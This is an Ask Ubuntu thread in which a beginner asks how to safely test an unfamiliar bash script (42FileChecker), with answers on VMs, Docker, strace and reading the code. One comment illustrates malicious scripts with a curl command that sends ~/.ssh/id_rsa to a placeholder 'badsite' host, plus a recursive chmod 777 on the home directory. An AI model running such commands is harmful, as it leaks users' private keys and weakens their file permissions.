31

I'd like to install a certain bash script called 42FileChecker using the commands:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

But I don't know if 42FileChecker.sh will do any strange things on my PC because I'm a beginner and don't know what is happening in that script. Is there a way to run it in a dummy terminal or dummy root folder or something like that to see what happens so that I avoid something crazy like formatting of my drives. I'd like to know of any way to test shells for future shell scripts also, even if 42FileChecker.sh is safe.

Dan
  • 12,494
  • 7
  • 70
  • 94
ntruter42
  • 465
  • 1
  • 6
  • 11
  • 5
    Since it's a script, you can read it, and read the `man` pages on the commands contained in it. – waltinator May 06 '19 at 22:00
  • 1
    Note that since the code is hosted on Git, you can read through the source of the tool. If code review isn't your thing, doing some sort of "dynamic" analysis by running it in a safe environment (sandbox, VM) is your next best bet – BlueCacti May 07 '19 at 07:22
  • 4
    @waltinator If you're concerned about *malicious* behavior, rather than merely unintended behavior, reading the man pages won't help. – Ray May 08 '19 at 04:04
  • 1
    @Ray, only if the commands being run are themselves malicious, so their man pages would conceal their true effects. I think waltinator was referring to the more probable case of malicious use of standard commands, e.g. `chmod 777 -R ~` or `curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa` or similar. – Wildcard May 08 '19 at 21:02
  • 1
    [Related](https://workplace.stackexchange.com/questions/136203/many-employees-including-my-manager-leave-their-computer-unlocked-how-to-enfor). You could test scripts without risking any harm to *your* computer and it would teach your colleagues to lock their sessions. – Eric Duminil May 09 '19 at 10:35
  • There is one big caveat to the "sandbox" idea. What if the script had a way to check if it was being sandboxed? `if (isSandboxed()) beBenign(); else beEvil();` – MechMK1 May 09 '19 at 14:28
  • @EricDuminil Lol, sounds like a plan. I'm going to my buddy's house right now! – ntruter42 May 09 '19 at 19:53
  • 1
    Whatever else you do, maintaining good backups should be step 0. – ubfan1 Aug 11 '23 at 16:23

7 Answers7

42

If you're not sure what a script does, you're better off not running it until you are sure what it does. Ways to reduce the damage radius of a bad script include running it using a new user, running it in a container, or running it in a virtual machine. But that first statement still holds: If you're not sure what something does, consider not running it until you do.

ctt
  • 491
  • 3
  • 6
  • 6
    On the other hand scripts are like EULAs: Yes, you should read and understand every single line before you sell your soul, but do you? – Peter - Reinstate Monica May 08 '19 at 14:03
  • 7
    @PeterA.Schneider, but EULA's don't really do anything until taken to court. Running a script has an immediate effect on your computer. It's not so much about reading every line; it's more about "Reflections on Trusting Trust" and knowing and trusting the source of the script. – Wildcard May 08 '19 at 21:04
29

As @ctt said, it's probably a good idea to run it in a sandbox of some kind first. Using a VM is probably the easiest solution. Multipass is pretty simple.

Install multipass (assuming you haven't already):

sudo snap install multipass --beta --classic

Spin up a new VM:

multipass launch --name myvm

Login to your new VM:

multipass shell myvm

Then run your script (inside your vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Community
  • 1
Ryan J. Yoder
  • 918
  • 8
  • 16
  • 39
    This approach is not safe. After you've run the script in the sandbox, how are you going to tell whether it was safe? It might have harmful effects that you can't easily say. Malware doesn't necessarily pop up and say "Haha, got you!". Also, a malicious script could easily behave in a benign way while in a sandbox or VM and then behave maliciously on your real computer. (For instance, VM detection is a thing, as is machine fingerprinting.) – D.W. May 07 '19 at 15:27
  • 13
    This is a great point. If you want to inspect the script for malware, this is not an effective solution. This is a way of testing the functionality without polluting your host system. – Ryan J. Yoder May 07 '19 at 16:21
  • You can do a full comparison with a "control" VM. – mckenzm May 08 '19 at 03:55
  • 6
    @mckenzm: But if it's malware, it's entirely possible that it would choose to do nothing until it finds itself with access to something that looks juicy. – hmakholm left over Monica May 08 '19 at 17:03
11

As the school you are attending has published the scripts, the best place to voice your concerns is with your instructors.

That said we can help you decipher the code on a line by line basis. It is probably impractical for anyone here to analyze all the code.

You actually have 40 bash scripts with a total 5,360 lines. I've combined them together and looked for bash/shell commands that could be abused. They all appear to be used normally:

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$
  • There is no rm -rf / command to wipe the whole hard disk partition.
  • There is no requirement that sudo be used to run the script.
  • The script actually makes sure only authorized C functions are used in the files checked.
  • A quick browse of the bash/shell code shows it is professionally written and easy to follow.
  • Using shellcheck on merged include files reveals only three syntax errors.
  • Author names are identified and the main author even has his picture on his github page.
  • Although there are no guarantees in life, 42FileChecker appears safe to use.

It's not human-readable bash scripts you need to worry about so much. It is compiled binary objects you cannot read that are cause for concern. For example a program called "shiny-bouncy-sphere" might paint something like that on your screen but in the background it could be erasing all your files.

Original answer

It is best to ask the author of the script what it does. Indeed you can almost post your question verbatim as it appears above.

Also ask the author:

  • What files are updated?
  • What happens if crash due to power failure or program bug?
  • Can a mini-backup be performed first?

And any other good questions you can think of.

Edit 1 - Worries about a malicious author.

You should only use software with lots of good public reviews. Alternately authors you trust here in Ask Ubuntu like Serge, Jacob, Colin King, etc. Other respected sites like Ask Ubuntu and their respected members should also be considered "non-malicious".

The advantage of "respected authors" here in Ask Ubuntu is they stake their self-worth on "reputation points". If they were to intentionally write code that "stole" or "damaged" data they would quickly loose their reputation. Indeed authors could suffer the "wrath of mods" and being suspended and/or having 10,000's of reputation points taken away.

Edit 2 - Don't follow all the instructions

I took a deeper look into your bash script instructions:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

The "safe" method is to only run the first line:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

This downloads the scripts but doesn't run them. Next use nautilus (file manager) to inspect the directories and files installed. Very quickly you discover there are a collection of bash scripts written by a group of students in France.

The purpose of the scripts is to compile and test C programs for improper functions and memory leaks.

Community
  • 1
WinEunuuchs2Unix
  • 99,709
  • 34
  • 237
  • 401
  • 1
    I should yes, but I was thinking about situations where the author might be doing something malicious intentionally. – ntruter42 May 06 '19 at 23:48
  • 1
    @nicholas I replied to your comment by revising the answer. – WinEunuuchs2Unix May 07 '19 at 00:30
  • 2
    I'm learning C in the Ecole 42 course. The functions I'm making needs to run through this norme check. I need to install the 42FileChecker in Ubuntu to run this norme check. I guess I just have to trust this script for now but I needed to know how to do a "safe-run" of the script first because I'm not that great at doing man searches. Thanks for the help. I'll just run a VM next time. – ntruter42 May 07 '19 at 04:59
  • 1
    @nicholas Were these scripts provided as part of the course? – le3th4x0rbot May 07 '19 at 21:40
  • @trognanders Kind of. The scripts are installed on the local server, so we can only test our functions at campus. I think a few people managed to somehow find the scripts and upload them to their own github repos. Or maybe they made their own pseudo version of it. It's called "norminator". Not 42FileChecker. – ntruter42 May 07 '19 at 23:15
  • 1
    @nicholas I got the impression four or five School #42 students and/or teachers wrote 42filechecker and it's subroutines? – WinEunuuchs2Unix May 07 '19 at 23:21
  • @WinEunuuchs2Unix Yes, it could be. I'm starting to think it's not a reliable version of the norminator. I found another link: https://github.com/veroxy/42_norminette and in the readme he claims to have "dumped the required files from the iMacs". I think that means he got the original norminator scripts. It's for this very reason I needed to test the scripts before applying them. – ntruter42 May 07 '19 at 23:30
  • 2
    @nicholas Line 24 of `~/42FileChecker/includes/display/display_credits.sh` states norminette's work is a dependancy: `norminette (42 born2code) http://www.42.fr`. I read this last night and it's why I wrote it was a school (ecole) in France that published **42FileChecker**. From what I've browsed of the code so far I wouldn't worry about running it. Plus it has very few syntax errors reported by `shellcheck` which is surprising in for a 5,360 line bash script. Many professionally published bash scripts have lots of syntax errors. – WinEunuuchs2Unix May 07 '19 at 23:39
  • 2
    @nicholas From a security standpoint, using the environment and scripts provided for the class is probably the best approach. It also removes the possibility of different behavior than the official course version which might be a surprise at turn-in time. Are you sure that there is no remote access to this machine, possibly using a campus provided VPN service or SSH from another computer that you can remotely access? – le3th4x0rbot May 08 '19 at 01:51
  • 1
    @nicholas We had hijacked another answer with our comments. I've made another update to answer above with our comments. `42FileChecker` does appear safe to use and commands that ***could*** be used dangerously appear to be used normally. – WinEunuuchs2Unix May 09 '19 at 10:49
5

You can use Docker. Docker containers are isolated from the host OS, so any malicious activity will stay within a container, as long as you don't specifically let it out by forwarding ports or mounting filesystems.

To install docker:

sudo apt-get install docker.io

To download a new Ubuntu Bionic container:

docker pull ubuntu:bionic

After that, log into the container

docker run -it ubuntu:bionic

and perform the dodgy operation in it:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Syfer Polski
  • 340
  • 1
  • 8
  • 1
    Another benefit of Docker that can be helpful in determining what a script does is that you can run `docker diff` to view which changes have been made to the filesystem since you launched the container. Downside of using Docker is that the container it's not a full copy of the host system. The Ubuntu image you mention here contains only a minimal Ubuntu installation. – Martijn Heemels May 08 '19 at 07:44
  • 2
    Instead of `docker run ubuntu` you should run `docker run -it ubuntu:bionic` The `-it` gives you an interactive terminal in the container and the `bionic` actually runs the version you want instead of the default `latest`. – Martijn Heemels May 08 '19 at 07:47
  • I like this answer the best of those that I have seen. However, it seem like the dodgy script could still abuse your system. It could secretly be mining bitcoins, etc. Ideally one could use additional flags possibly `--memory`, `--network`, and maybe others to really lock down the script. – emory May 08 '19 at 15:51
  • 1
    If you are really paranoid combine this answer with the second best answer. Run docker inside a virtual machine, and lock down everything. – emory May 08 '19 at 15:52
5

I'm no expert at this, but I would recommend using strace and docker.

So first create a Docker container as by the instructions in this answer. But the addition being that strace will tell you what system calls are made. Or to quote:

strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state.

You can combine these commands to

docker exec -it ubuntu_container strace bash ./42FileChecker.sh
Thomas
  • 226
  • 1
  • 7
  • So this will go through each line of the script (step-by-step) and also do all of this inside a container, which means all the commands will do absolutely nothing to my system but will be run as usual. Am I understanding this correctly? – ntruter42 May 09 '19 at 00:04
  • 1
    @nicholas yes the docker container is a seperate machine for your protection, the program is sandboxed. Strace will provide you with all operations the application does to that machine, from opening files to setting up network connections. – Thomas May 09 '19 at 07:52
  • 1
    Yes, that's exactly what I was looking for, Strace combined with Docker. – ntruter42 May 09 '19 at 20:01
3

Consider using the debugging mode by running the script as: 

$ bash -x scriptname

Further useful Bash information

The debugging mode will not stop the script from doing something bad, but it will let you go through the script line by line and examine the effects. You might also check the script for some common potential mistakes and/or exploits, e.g. search the scripts for any occurrence of rm and look at those commands very closely. Many of these tools have some help built in for trying them out, e.g. rm will not delete a directory by default, it needs the -r, -R, or --recursive option to do so.

There may even be some antivirus-like tools that would search a bash script for these patterns, but I'm not aware of any by name. Your example scripts are sort of extra iffy, in the sense that they download other tools, so each of those should also be examined. Checking which servers they contact may also be worthwhile.

Simon Sudler
  • 3,771
  • 3
  • 20
  • 33
guest
  • 31
  • 1
  • -x can be used for debugging (and I use it!) but it won't let you step through a script line by line. It will give you a kind of "trace" as it executes the script at full speed. – jrw32982 May 09 '19 at 22:43
2

The relevant information to provide an answer is unluckily only found in a comment of yours:

I'm learning C in the Ecole 42 course. The functions I'm making needs to run through this norme check. I need to install the 42FileChecker in Ubuntu to run this norme check.

So the situation is that in practice you have the option of skipping the course, or you can run the script to perform normative checks on your sources. Talking with your instructor is hardly an option, due to lack of the former (it wouldn't be an option otherwise anyway, no school is going to change their procedure because one student isn't happy with it).
The question what to do to limit possible damage from that script therefore doesn't even arise. It's not a random script that a horny girl with large breasts e-mailed to you, and which you need to run to see her picture.
You're doing a programming class. This is where this script came into play. The question is whether or not you want to comply with the frame conditions for successfully completing the course.

However, if you are truly worried, there's still the possibility of running the script in a container or a virtual machine, and put your sources in a shared folder, or onto a network share exposed by the container/virtual machine. That's pretty much going the full paranoia path, but then again virtualization isn't really all that complicated these days, so it doesn't cost an awful lot.

Barring the unlikely possibility of a really harsh exploit being contained in that script, logging in as any non-root user (which you have hardly a choice of doing otherwise on Ubuntu) and avoiding to type sudo for no obvious reason pretty much prevents 99% of all bad things that could possibly happen anyway. Such as formatting the harddisk, which you are worried about. A normal user just cannot do that. Worst thing to happen is the script erases the user's home directory. So what, no issue, really.

Damon
  • 121
  • 2
  • Hopefully OP comments here on if `sudo` is required to run script. +1 – WinEunuuchs2Unix May 08 '19 at 15:10
  • Avoiding `sudo` only limits the scope of accidental deletion/formatting due to bugs. If the script was malicious or exploitable, running with `sudo` on a single user system makes no essential difference. – that other guy May 08 '19 at 17:54
  • @WinEunuuchs2Unix I don't think sudo is necessary. I don't really know actually. Although I have been using sudo for apt install commands. Does that mean I need to use it to run a script also? – ntruter42 May 08 '19 at 23:48
  • 1
    @nicholas I don't have any C programs to compile and test with `42FileChecker` so I can't really say if `sudo` is needed or not. The bash script doesn't check for sudo and tell you to use it though. It would appear then that `sudo` isn't required. Once again I think asking your instructor (teacher) is the best policy. I've updated my answer an hour ago with a little analysis of the script. Notice the name "`mynorminette`" appeared again within the code. – WinEunuuchs2Unix May 08 '19 at 23:52
  • @Damon I'm supposed to be doing all my 42 norme checks at campus where the norminator (or in this case, 42FileChecker) is freely available to use. The only reason I want to install it at home is to polish all my C functions, but I can't because I have to check the functions and programs with the norminator after every modification. I figured someone from the Ecole 42 would be smart enough to get the norminator check script from the school and freely distribute it from their github repo. – ntruter42 May 08 '19 at 23:53
  • @WinEunuuchs2Unix I saw your analysis of all the possible malicious commands, thank you. All this information is just too overwhelming for me. I just started learning about scripts a few weeks ago. I've decided not to install it and instead get advice from one of the instructors at campus (like you suggested). – ntruter42 May 08 '19 at 23:58
  • 1
    @nicholas I bet some of the instructors personally know norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk and Jean-Michel Gigault who all contributed to `42FileChecker`. I believe talking to the instructors will set your mind at ease. After a couple of hours investigating I have faith in the programmers and their creations. Jean-Michel Gigault even has his picture on github. Quite a testament of confidence in a land where Yellow Vest seeds are growing. Viva La France! (et Ecole 42 :)) Do us a favour and drop in to give progress updates. – WinEunuuchs2Unix May 09 '19 at 00:57